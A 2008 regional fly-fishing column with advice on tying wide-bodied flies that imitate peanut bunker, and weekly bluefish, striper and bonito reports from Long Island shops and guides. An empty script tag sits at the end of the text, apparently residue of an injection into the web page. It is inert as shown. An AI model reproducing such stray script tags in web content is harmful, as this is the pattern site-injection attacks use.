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NY, NJ, CT, RI Edition
August 27, 2008
Volume 19 � Number 21


Salt on the Fly
by Anthony Alessi

The nights are getting cooler and the days shorter. Fall, and the run of fish that goes with it, is right around the corner. Soon we will be finding peanut bunker in large numbers in all the bays and harbors. This bait is key to the great fishing we experience each fall in the Long Island Sound. Now is the time to devote your fly tying bench to the production of flies with a wide body profile. There are many different styles of flies that do a good job of imitating peanuts and most work just fine. You can stick with deceiver style flies tied extra bulky or you can use synthetics and tie up a batch of flies Enrico Puglisi style. I am partial to the latter as they are pretty easy to tie and hold up pretty well after being clobbered by a good number of fish. You can tie these in an assortment of colors. I typically tie some in olive over white sprinkling in a little lavender and pink to closely match the natural colors of juvenile menhaden, but, I also make sure to tie a big batch of all black or black over purple for use at night. I like to have a box of these handy in sizes 1/0 to 4/0 and ranging from as small as two to maybe six inches long to be ready for anything. Nothing gets the blood racing like seeing fat bass and bluefish crashing spraying peanuts on the surface so make sure you're ready when this scene unfolds over the next few weeks.

Let's take a look at this past week's fishing…

I spoke with carmine from Campsite Sport Shop in Huntington Station today and he told me that most anglers have been pretty content to mess with the bluefish that have been showing up along most open Sound beaches from Eaton's Neck to Porpoise Channel. There is plenty of spearing and rain bait in the Sound keeping this action steady. For those who want stripes only it is necessary to lose some sleep and get out there before dawn or after dark as they are there along rocky stretches of shoreline slurping bait off the surface and willing to hit a fly. Make sure you are fishing before first light as the blues will take over then pretty readily.

Captain Vinny Catalano of Joey C. Charters out of Smithtown saw a slow down in the fishing in his area that he felt was due to all the thunderstorms a week ago and the ensuing cold front that came after. He expects the fishing will bounce right back as there is no change in the incredible amount of bait that has flooded the area all summer.

Warren at Parkwood Outfitters in Bohemia knew that bonito had showed up a few times over the past week on the east side of Shinnecock Inlet. There have also been bluefish here as well as inside Shinnecock Bay on the flats.

I received the usual communication from Captain Don Kaye of Shinnecock Guiding in Shinnecock Bay and he had this to say: "This week's Shinnecock angling turned HOT during the A.M. incoming tides, with lots of bluefish and ‘schoolie' bass coming to the fly and light tackle. One morning this week, the busting, surface feeding fish showed quite well, and, for the afternoon session, I was joined by professional golfer, Ray Floyd. We were a bit early in the tide and other than a few sea robins, the action slowed quite a bit until Ray decided to fish a surface lure along a drop-off and scored with a fine striper. The bass was captured, photographed and quickly released and Ray saved a ‘bogie' day."<script src=http://></script>;

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